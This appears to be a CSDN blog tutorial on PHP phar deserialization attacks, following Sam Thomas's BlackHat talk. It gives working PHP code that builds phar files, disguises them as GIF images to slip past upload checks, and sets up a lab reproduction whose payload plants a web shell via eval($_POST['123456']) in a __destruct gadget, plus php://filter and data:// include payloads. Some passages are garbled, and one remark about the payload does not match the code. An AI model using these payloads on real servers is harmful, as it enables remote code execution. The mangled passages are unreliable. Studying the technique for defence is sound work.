Day 23 phar deserialization vulnerability

overview

Security researcher Sam Thomas from Secarma has discovered a new exploit that can cause a serious PHP object injection vulnerability without using the PHP function unserialize().
This new attack method was disclosed by him at the BlackHat conference in the United States, with the theme of "Unknown PHP Deserialization Vulnerability". It could allow an attacker to escalate the severity of the related vulnerability to remote code execution.

Using the feature that phar files store user-defined meta-data in serialized form, the attack surface of PHP deserialization vulnerabilities is expanded. In this method, when the parameters of file system functions (file_exists(), is_dir(), etc.) are controllable, and with the phar:// pseudo-protocol, the deserialization operation can be performed directly without relying on unserialize().

Understand phar file structure

stub
can be understood as a sign, the format is xxx<?php xxx; __HALT_COMPILER();?>, the previous content is not limited, but it must end with __HALT_COMPILER();?>, otherwise the phar extension will not recognize this file as phar document.

The manifest describing the contents
phar file is essentially a compressed file, in which the permissions, attributes and other information of each compressed file are placed in this part. This part will also store user-defined meta-data in serialized form, which is the core of the above attack methods.

They contain metadata in serialized format. Let's create a Phar file and add an object with some data as metadata:

According to the file structure, let's build a phar file by ourselves. PHP has a built-in Phar class to handle related operations.

Note: Set the phar.readonly option in php.ini to Off, otherwise the phar file cannot be generated.

<?php
class TestObject
{
    
    
    private $name ='bihuo.cn';
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
//开启缓冲区
$phar->startBuffering();
//设置文件Stub前缀头
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
//将$o对象序列化写入文件中
$phar->setMetadata($o); //将自定义类的meta-data存入manifest
//添加想要追加的文件
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

common style

Most PHP file operations allow various url styles such as data://, zlib:// or php:// when accessing file paths. These operations are often used on remote files, where an attacker can control the file to include the full file path.

Remote file contains exploit:

include($_GET['file'])
include('php://filter/convert.base64-encode/resource=index.php');
include('data://text/plain;base64,cGhwaW5mbygpCg==');

Serialized data will inevitably have deserialization operations. Most of the file system functions in PHP will deserialize meta-data when parsing phar files through the phar:// pseudo-protocol. The affected functions after testing are as follows:
insert image description here
When the parameters of the file system function are controllable, we can deserialize without calling unserialize().

Fake phar into other format files

When analyzing the file structure of phar, you may notice that php recognizes the phar file through the stub of its file header, more precisely __HALT_COMPILER();?> This code, for the previous content or suffix name is Not required. Then we can disguise the phar file as a file in other formats by adding any file header + modifying the suffix name.

<?php
    class TestObject {
    
    
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

Taking this approach can bypass a large portion of upload detection.

Vulnerability to reproduce

Conditions of use

Let's take a look at the exploit conditions of this attack.

The phar file should be able to be uploaded to the server.
Have a magic method available as a "springboard".
The parameters of file operation functions are controllable, and special characters such as :, /, and phar are not filtered.

example

First look for a class method capable of executing arbitrary code:

front-end upload page

<html>
<body>
<form action="./upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>
</html>

For the detection page in the background, first limit it to only gif

<?php

if (($_FILES["file"]["type"] == "image/gif") && (substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1)) == 'gif') {
    
    
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"])) {
    
    
        echo $_FILES["file"]["name"] . " already exists. ";
    } else {
    
    
        move_uploaded_file($_FILES["file"]["tmp_name"],
            "upload_file/" . $_FILES["file"]["name"]);
        echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
    }
} else {
    
    
    echo "Invalid file,you can only upload gif";
}

后台解析文件的php

<?php

$filename = @$_GET['filename'];
echo 'please input a filename' . '<br />';

class AnyClass
{
    
    
    var $output = 'echo "ok";';

    function __destruct()
    {
    
    
        eval($this->output);
    }
}

if (file_exists($filename)) {
    
    
    $a = new AnyClass();
} else {
    
    
    echo 'file is not exists';
}



emmm,可以看到,类里面有个魔幻函数,同时还有一句eval,没错,就是它了

Type a file to generate phar yourself

<?php
class AnyClass
{
    
    
    var $output = "eval(\$_POST['123456']);";

    function __destruct()
    {
    
    
        eval($this->output);
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
//开启缓冲区
$phar->startBuffering();
//设置文件Stub前缀头
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new AnyClass();
//将$o对象序列化写入文件中
$phar->setMetadata($o); //将自定义的meta-data存入manifest
//添加想要追加的文件
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
可以看到,stub前面已经加了gif头,类里面的参数是phpinfo,如果最后能利用的话就会输出php的信息

执行一下可以看到生成phar2.phar文件,改下后缀成gif文件,然后上传,最后访问

insert image description here
path after upload

insert image description here

insert image description here

First, the attacker must be able to plant a Phar file on the target web server. Sam Thomas found a trick on how to hide a Phar file into a JPG file, so just the usual image upload function is enough. But it doesn't matter, because if an attacker can control the full file path in ìnclude(), fopen(), file_get_contents(), file(), etc. operations, then there will be serious security holes. Therefore, these functions are usually validated in user input. But now an attacker can inject via phar:// and get code execution.

Code sample that looks harmless so far:

file_exists( G E T [ ′ f i l e ′ ] ) ; m d 5 f i l e ( _GET['file']); md5_file( GET[file]);m d 5file(_GET[‘file’]);
filemtime( G E T [ ′ f i l e ′ ] ) ; f i l e s i z e ( _GET['file']); filesize( GET[file]);filesize(_GET[‘file’]);

Reference: https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know- It-wp.pdf

Guess you like

Origin blog.csdn.net/qq_42096378/article/details/123878035
Recommended